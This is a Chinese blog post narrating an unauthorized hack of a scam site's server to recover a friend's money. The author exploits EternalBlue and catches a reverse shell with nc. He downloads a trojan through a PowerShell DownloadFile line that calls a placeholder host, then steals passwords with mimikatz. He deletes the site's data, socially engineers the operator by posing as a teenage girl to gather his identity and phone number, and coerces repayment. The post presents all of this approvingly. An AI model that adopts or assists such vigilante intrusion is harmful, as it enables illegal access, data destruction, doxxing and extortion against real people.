如何優雅地追回被騙款項（下篇）
原創： MOZA 合天智匯
01 拿下目標接著上一篇——《如何優雅地追回被騙款項（上篇）》，經過極其噁心的過程，我們拿下了目標c段的一臺伺服器，並且通過掃描，確定了對方的伺服器存在永恆之藍。關於ms17010這個洞，估計很多人都可以秒破，我們團隊裡面移植了簡單版的payload到win下，比較方便，但是功能比較少，只有反彈shell，關閉防火牆，和把administrator的密碼置空，雖然功能較少，但是勝在穩定，藍屏的概率比較少。
然後nc一下就可以了
直接就是sys許可權並不需要提權，我們可以在這裡直接添加賬號登陸，但是我並不希望留下太大的痕跡，我選擇掛msf的馬，然後讀取administrator的密碼。那麼，問題來了，在dos中，如何下載木馬呢，我又不想建個賬號登陸上去，其實非常簡單，老司機在滲透win的時候，很多時候powershell會有比較好的體驗。首先startpowershell 開啟powshellThen
$client.DownloadFile(http:/http://www.xxx.com/moza.exe,C:/moza.exe)即可遠程down下我的木馬到c盤根目錄。
由於我上傳的是msf的馬子，所以得在服務端監聽一下。
然後dos下運行我的木馬
連接上去之後，直接導入mimikatz，如下圖。
但是不知道為什麼讀取不出來。
所以我們換個思路，直接upload一個過去，然後在c段我們所控制的電腦中，再反彈一個shell回來，進行操作，到這裡我纔想起，其實當初我可以直接用powershll下載mimikatz的Orz。。上傳指令非常簡單，如下
然後直接再msf裡面執行shell就好了，懶得回那邊的機子。首先提權。
然後讀取密碼。
然後登陸！
非常開心，然後想著去脫資料庫，下載源碼，看看能否找到有用的信息。但是在那一瞬間，不到2分鐘，我被擠下去了！
02 被發現了！Orz。。。。
在那一瞬間，我突然想起其實有三種情況。
- 只是巧合，對方壓根就不知道我登陸了，只是碰巧他上線把我逼下去了。
- 目標那時候剛好在線，而我把他擠下去了（還是考慮的不夠完善）
- 目標有異地登陸提醒，及時上來把我給擠下去了。
mysql的資料庫同理。
把他伺服器上的數據網站全部刪掉。（為民除害）
這裡得先kill掉佔用文件的進程，圖沒找到就不放了。。
+
刪庫跑路賊刺激。
我翻了一下伺服器，並沒有找到一些有用的數據，打算在www與data中找尋有用的信息，我對用戶的數據不感興趣，我們這趟滲透測目的是拿到坑我朋友錢的幕後boss信息。
本地還原網站與資料庫。然後我找了一下數據，發現全都是用戶的註冊信息，對我來說沒啥用。不過管理員的賬號倒是找到了。
03 社會工程學
zxl這個很可能是站主的名字縮寫，但是範圍太大，我們無法確定，繼續往下搜索。在主站的資料庫中找了半天，啥都沒有發現。
我並沒有放棄，繼續在別的站中找尋，在config文件中找到了資料庫的另一個用戶，
得到了一串數字，神似qq號，先保存下來。繼續找尋，找到幾個客服小姐姐的qq。到時候再跟朋友確定一下是否是同一個。在這個站的資料庫中發現管理員的密碼hash與上述資料庫連接密碼一致。
解密如下
找了半個鐘，沒哈有用信息，手機號或者其他之類的。整理一下我們下載得到的信息。名字縮寫：zxlQQ號碼：9xxxxxxx1客服小姐姐qq兩個：xxxxxxxx與aaaaaa先搜索一下9開頭的這個。
頭像是我以前玩dnf時候的鬼泣，這年頭用鬼劍做頭像的要麼是重度毒奶粉玩家，要麼就是常年不換頭像的大佬。百度搜一下他qq，得到貼吧賬號。
得到某學院，目測學校就是這裡，不過是三年前的了，應該畢業了。沒有發多少有用的帖子，嘗試從貼吧好友中找尋線索。
找尋了很久，在他的關注中找到此人，關注的貼吧也有他那個學校，目測兩人可能認識，並且此人很喜歡在各大交友吧玩耍，是個不錯的入口。04 我是大x萌妹借了一個女性朋友的qq，改了一下年齡，然後加他。
假扮成高一的妹子，hhhhh我果然是個天才。
不太懂這個圈子裡的情況，不過感覺純粹交友的估計沒多少...然後以瞭解他為理由，套路到了空間的訪問許可權。
PS（我果然有女裝的天賦hhhhhh）找了大半天在很久遠的某天說說上找到了目標qq的評論。很激動，沒有找錯人。
跟他混熟了兩天之後，開始瘋狂的套路之旅。
有戲，繼續往下。
得到名字與專業。
應該是今年剛畢業，xx學校汽修專業。手機號碼，沒啥好的理由問，怕露出馬腳。而且很可能也沒有手機號，在這個微信泛濫的時代。突然想起qq羣這個思路。直接搜索qq羣搜索xxx學校汽修。成功套路入羣。
得到通訊錄，得到手機號碼：1xxxxxxxxxxx。得到的信息已經足夠多了，可以去加對方了。但是為了確定這個站是團夥還是個人，我還是決定肝一波。加上他的qq得到ip地址。
再加客服小姐姐的qq。
同一個ip地址，版本號都一樣，應該是一個人。接下來就是丟證據，逼迫還錢的時候了。
握住命脈一切好說。
後來錢拿回來之後，我認真看了一下資料庫，其實還真的有一些刷單的兼職，金額不大，不到立案的標準，並且後續在他朋友那瞭解到此人家中似乎還有個病重的母親，就沒有報警處理，相信這次事情過後，他會有新的開始吧。05 總結 希望大家跟我一樣，做個好人呀End.推薦閱讀：
